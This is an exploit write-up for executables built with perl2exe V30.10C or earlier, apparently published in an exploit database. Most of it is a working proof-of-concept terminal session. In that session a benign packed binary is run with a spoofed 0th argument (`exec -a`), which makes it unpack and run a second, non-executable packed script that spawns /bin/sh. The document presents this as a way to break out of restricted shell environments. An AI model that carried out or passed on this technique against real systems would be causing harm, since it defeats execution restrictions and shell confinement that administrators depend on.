# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution # Date: 10/17/2023 # Exploit Author: decrazyo # Vendor Homepage: https://www.indigostar.com/ # Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz # Version: <= V30.10C # Tested on: Ubuntu 22.04 # Description: perl2exe packs perl scripts into native executables. Those executables use their 0th argument to locate a file to unpack and execute. Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument. That can be useful for breaking out of restricted shell environments. # Proof and Concept: user@testing:~/example$ ls p2x-30.10-Linux-x64-5.30.1.tar.gz perl2exe-Linux-x64-5.30.1 user@testing:~/example$ user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack. user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software ... Generating safe user@testing:~/example$ user@testing:~/example$ # Check that the program executes as expected. user@testing:~/example$ ./safe I am completely safe user@testing:~/example$ user@testing:~/example$ # Create and pack a "malicious" script that we want to execute. user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software ... Generating malicious user@testing:~/example$ user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions. user@testing:~/example$ chmod -x malicious user@testing:~/example$ ./malicious -bash: ./malicious: Permission denied user@testing:~/example$ user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument. user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself. user@testing:~/example$ bash -c 'exec -a malicious ./safe' j/k I am malicious AF $ pstree -s $$ systemd───sshd───sshd───sshd───bash───safe───sh───pstree $